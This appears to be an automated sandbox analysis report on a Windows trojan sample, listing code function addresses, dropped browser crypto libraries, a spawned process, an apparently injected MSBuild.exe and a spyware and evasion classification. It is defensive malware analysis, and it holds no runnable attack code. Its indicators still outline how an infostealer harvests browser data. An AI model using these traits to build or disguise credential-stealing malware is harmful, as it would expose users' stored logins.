Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2A7810	0_2_6C2A7810
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2DF070	0_2_6C2DF070
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2B8850	0_2_6C2B8850
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2BD850	0_2_6C2BD850
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2C60A0	0_2_6C2C60A0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2BC0E0	0_2_6C2BC0E0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2D58E0	0_2_6C2D58E0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C3050C7	0_2_6C3050C7
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C30B170	0_2_6C30B170
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2AD960	0_2_6C2AD960
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2EB970	0_2_6C2EB970
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2BA940	0_2_6C2BA940
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C29C9A0	0_2_6C29C9A0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2CD9B0	0_2_6C2CD9B0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2D5190	0_2_6C2D5190
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2F2990	0_2_6C2F2990
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2D9A60	0_2_6C2D9A60
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C302AB0	0_2_6C302AB0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2922A0	0_2_6C2922A0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2C4AA0	0_2_6C2C4AA0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2ACAB0	0_2_6C2ACAB0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C30BA90	0_2_6C30BA90
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2B1AF0	0_2_6C2B1AF0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2DE2F0	0_2_6C2DE2F0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2D8AC0	0_2_6C2D8AC0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2DD320	0_2_6C2DD320
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2AC370	0_2_6C2AC370
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C295340	0_2_6C295340
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C29F380	0_2_6C29F380
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C3053C8	0_2_6C3053C8
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C406C00	0_2_6C406C00
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C34AC60	0_2_6C34AC60
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C41AC30	0_2_6C41AC30
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C39ECD0	0_2_6C39ECD0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C33ECC0	0_2_6C33ECC0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C46AD50	0_2_6C46AD50
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C40ED70	0_2_6C40ED70
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C4C8D20	0_2_6C4C8D20
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C344DB0	0_2_6C344DB0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C4CCDC0	0_2_6C4CCDC0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C3D6D90	0_2_6C3D6D90
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C3DEE70	0_2_6C3DEE70
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C420E20	0_2_6C420E20
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C3C6E90	0_2_6C3C6E90
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C34AEC0	0_2_6C34AEC0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C3E0EC0	0_2_6C3E0EC0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C346F10	0_2_6C346F10
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C402F70	0_2_6C402F70
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C480F20	0_2_6C480F20
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C3AEF40	0_2_6C3AEF40
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C34EFB0	0_2_6C34EFB0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C41EFF0	0_2_6C41EFF0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C340FE0	0_2_6C340FE0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C488FB0	0_2_6C488FB0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C414840	0_2_6C414840
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C390820	0_2_6C390820
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C3CA820	0_2_6C3CA820
Source: C:\ProgramData\EHDHIDAEHC.exe	Code function: 4_2_014BE118	4_2_014BE118
Source: C:\ProgramData\EHDHIDAEHC.exe	Code function: 4_2_014BEE80	4_2_014BEE80
Source: C:\ProgramData\EHDHIDAEHC.exe	Code function: 4_2_014B3BC1	4_2_014B3BC1
Source: C:\ProgramData\EHDHIDAEHC.exe	Code function: 4_2_014B3C28	4_2_014B3C28
Source: C:\ProgramData\EHDHIDAEHC.exe	Code function: 4_2_014B3E71	4_2_014B3E71
Source: C:\ProgramData\EHDHIDAEHC.exe	Code function: 4_2_014B3E80	4_2_014B3E80
Source: C:\ProgramData\EHDHIDAEHC.exe	Code function: 4_2_054B4948	4_2_054B4948
Source: C:\ProgramData\EHDHIDAEHC.exe	Code function: 4_2_054B2106	4_2_054B2106
Source: C:\ProgramData\EHDHIDAEHC.exe	Code function: 4_2_054B7D20	4_2_054B7D20
Source: C:\ProgramData\EHDHIDAEHC.exe	Code function: 4_2_054B9470	4_2_054B9470
Source: C:\ProgramData\EHDHIDAEHC.exe	Code function: 4_2_054BBC91	4_2_054BBC91
Source: C:\ProgramData\EHDHIDAEHC.exe	Code function: 4_2_054B9EC8	4_2_054B9EC8
Source: C:\ProgramData\EHDHIDAEHC.exe	Code function: 4_2_054BCD50	4_2_054BCD50
Source: C:\ProgramData\EHDHIDAEHC.exe	Code function: 4_2_054BCD60	4_2_054BCD60
Source: C:\ProgramData\EHDHIDAEHC.exe	Code function: 4_2_054B7D10	4_2_054B7D10
Source: C:\ProgramData\EHDHIDAEHC.exe	Code function: 4_2_054B4939	4_2_054B4939
Source: C:\ProgramData\EHDHIDAEHC.exe	Code function: 4_2_054B2C38	4_2_054B2C38
Source: C:\ProgramData\EHDHIDAEHC.exe	Code function: 4_2_054B5C88	4_2_054B5C88
Source: C:\ProgramData\EHDHIDAEHC.exe	Code function: 4_2_054BA758	4_2_054BA758
Source: C:\ProgramData\EHDHIDAEHC.exe	Code function: 4_2_054BB230	4_2_054BB230
Source: C:\ProgramData\EHDHIDAEHC.exe	Code function: 4_2_054B9EB7	4_2_054B9EB7
Source: C:\ProgramData\EHDHIDAEHC.exe	Code function: 4_2_05A61B10	4_2_05A61B10
Source: C:\ProgramData\EHDHIDAEHC.exe	Code function: 4_2_05A63036	4_2_05A63036
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_0041BD50	6_2_0041BD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_0041A130	6_2_0041A130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_00419B58	6_2_00419B58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_00419B30	6_2_00419B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE24CF0	6_2_1FE24CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE112A8	6_2_1FE112A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FF79CC0	6_2_1FF79CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE1292D	6_2_1FE1292D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FF39A20	6_2_1FF39A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FEC5940	6_2_1FEC5940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE11C9E	6_2_1FE11C9E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE13E3B	6_2_1FE13E3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FECD6D0	6_2_1FECD6D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FEB9690	6_2_1FEB9690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FF79430	6_2_1FF79430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FEA53B0	6_2_1FEA53B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FFED209	6_2_1FFED209
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FF35040	6_2_1FF35040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE29000	6_2_1FE29000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE38D2A	6_2_1FE38D2A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FF14A60	6_2_1FF14A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE11EF1	6_2_1FE11EF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE38763	6_2_1FE38763
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE74760	6_2_1FE74760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FEA8760	6_2_1FEA8760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE38680	6_2_1FE38680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FF50480	6_2_1FF50480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE13AB2	6_2_1FE13AB2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE98120	6_2_1FE98120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE90090	6_2_1FE90090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FF38030	6_2_1FF38030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE1290A	6_2_1FE1290A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE3BAB0	6_2_1FE3BAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE1251D	6_2_1FE1251D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE43370	6_2_1FE43370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE1F160	6_2_1FE1F160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE1174E	6_2_1FE1174E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE72EE0	6_2_1FE72EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FFEAEBE	6_2_1FFEAEBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE56E80	6_2_1FE56E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE119DD	6_2_1FE119DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE13580	6_2_1FE13580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE1EA80	6_2_1FE1EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE1AA40	6_2_1FE1AA40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FEF69C0	6_2_1FEF69C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FF0A940	6_2_1FF0A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FF2A900	6_2_1FF2A900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE1481D	6_2_1FE1481D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FF4E800	6_2_1FF4E800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE266C0	6_2_1FE266C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE12018	6_2_1FE12018
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FF0A590	6_2_1FF0A590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE3A560	6_2_1FE3A560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE147AF	6_2_1FE147AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE9A0B0	6_2_1FE9A0B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE1209F	6_2_1FE1209F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_1FE12AA9	6_2_1FE12AA9

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 1FE11C2B appears 47 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 1FE1395E appears 78 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 1FE13AF3 appears 37 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 1FE11F5A appears 31 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 1FE1415B appears 133 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 1FFF06B1 appears 36 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 00402000 appears 287 times
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: String function: 6C4C09D0 appears 57 times
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: String function: 6C2D94D0 appears 90 times
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: String function: 003D2000 appears 287 times
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: String function: 6C2CCBE8 appears 134 times

Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2191144720.000000003B838000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsvcp140.dll^ vs a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesoftokn3.dll0 vs a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2197298605.0000000047710000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dll^ vs a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2206892942.000000006C322000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamefreebl3.dll0 vs a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 4.2.EHDHIDAEHC.exe.2ed93c8.1.raw.unpack, fDX9tehJ5EFemhKZwc.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.2.EHDHIDAEHC.exe.2ed93c8.1.raw.unpack, fDX9tehJ5EFemhKZwc.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.2.EHDHIDAEHC.exe.53b0000.13.raw.unpack, fDX9tehJ5EFemhKZwc.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.2.EHDHIDAEHC.exe.53b0000.13.raw.unpack, fDX9tehJ5EFemhKZwc.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.2.EHDHIDAEHC.exe.2ec49a0.0.raw.unpack, fDX9tehJ5EFemhKZwc.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.2.EHDHIDAEHC.exe.2ec49a0.0.raw.unpack, fDX9tehJ5EFemhKZwc.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.2.EHDHIDAEHC.exe.40d0dd0.11.raw.unpack, RnDmD.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@12/24@3/4

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Code function: 0_2_6C2F7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C2F7030

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Code function: 0_2_003E1400 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,FindCloseChangeNotification,

0_2_003E1400

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Code function: 0_2_003E0900 CoInitializeEx,CoInitializeSecurity,CoCreateInstance,CoSetProxyBlanket,VariantInit,VariantClear,

0_2_003E0900

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\76561199747278259[1].htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2840:120:WilError_03
Source: C:\ProgramData\EHDHIDAEHC.exe	Mutant created: NULL

Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
